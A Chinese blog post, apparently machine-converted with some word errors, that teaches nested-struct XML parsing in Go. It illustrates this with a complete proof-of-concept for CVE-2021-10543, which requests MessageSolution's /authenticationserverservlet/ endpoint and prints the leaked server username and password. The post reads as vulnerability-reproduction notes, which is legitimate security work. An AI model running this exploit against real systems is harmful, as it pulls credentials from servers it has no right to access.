天天看點

GO 語言解析xml

複現漏洞的時候遇到了xml解析問題

之前沒搞過記錄一下

一個xml線上格式化網站(https://tool.oschina.net/codeformat/xml)

GO 語言解析xml

對于go語言解析xml需要用到結構體

而圖中的xml有兩層嵌套

就需要通過結構體來套結構體實作解析

以上圖為例
第一層結構體
type 第一層 struct{
	//第一層的xml入口
	XMLName  xml.Name `xml:"authenticationserver"`
	//對應解析server
	Server Seconding(第二層結構體的名稱) `xml:"server"`
}

第二層結構體
type 第二層 struct{
	//第二層入口有需要添加
	//對應需要解析的位置
	Username string `xml:"username"`
	Password string `xml:"password"`
}

           

對應的本次複現的CVE-2021-10543

package main

import (
	"crypto/tls"
	"encoding/xml"
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"time"
)

/*
CVE-2021-10543 poc
通路MessageSolution目标的/authenticationserverservlet/
檢視是否有username password
嘗試登入
*/


func exp(urls string)  {
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{
			InsecureSkipVerify: true,
		},
	}
	client := &http.Client{
		Timeout: 5*time.Second,
		Transport: tr,
	}
	req ,err := http.NewRequest("GET",urls,nil)

	req.Header.Add("User-Agent","Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0")
	if err != nil {
		panic(err)
	}
	resp , err := client.Do(req)
	if err != nil {
		panic(err)
	}
	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)


	type Seconding struct {
		Username string `xml:"username"`
		Password string `xml:"password"`
	}

	type  mesgsoserver	struct {
		XMLName  xml.Name `xml:"authenticationserver"`
		Server Seconding `xml:"server"`
	}


	x := mesgsoserver{}
	err = xml.Unmarshal(body,&x)
	if err != nil{
		fmt.Println(err)
	}
	if err != nil {
		fmt.Println("HttpGet error is ", err)
	}
	if resp.StatusCode == 200 {
		//fmt.Println("body is",string(body))
		fmt.Println(x.Server.Username)
		fmt.Println(x.Server.Password)
	}else {
		fmt.Println("body is",string(body))
		fmt.Println("err")
	}
}

func check(urls string)  {
	url := urls + "/authenticationserverservlet/"
	exp(url)
}


func main()  {
	urls := os.Args[1]
	check(urls)
}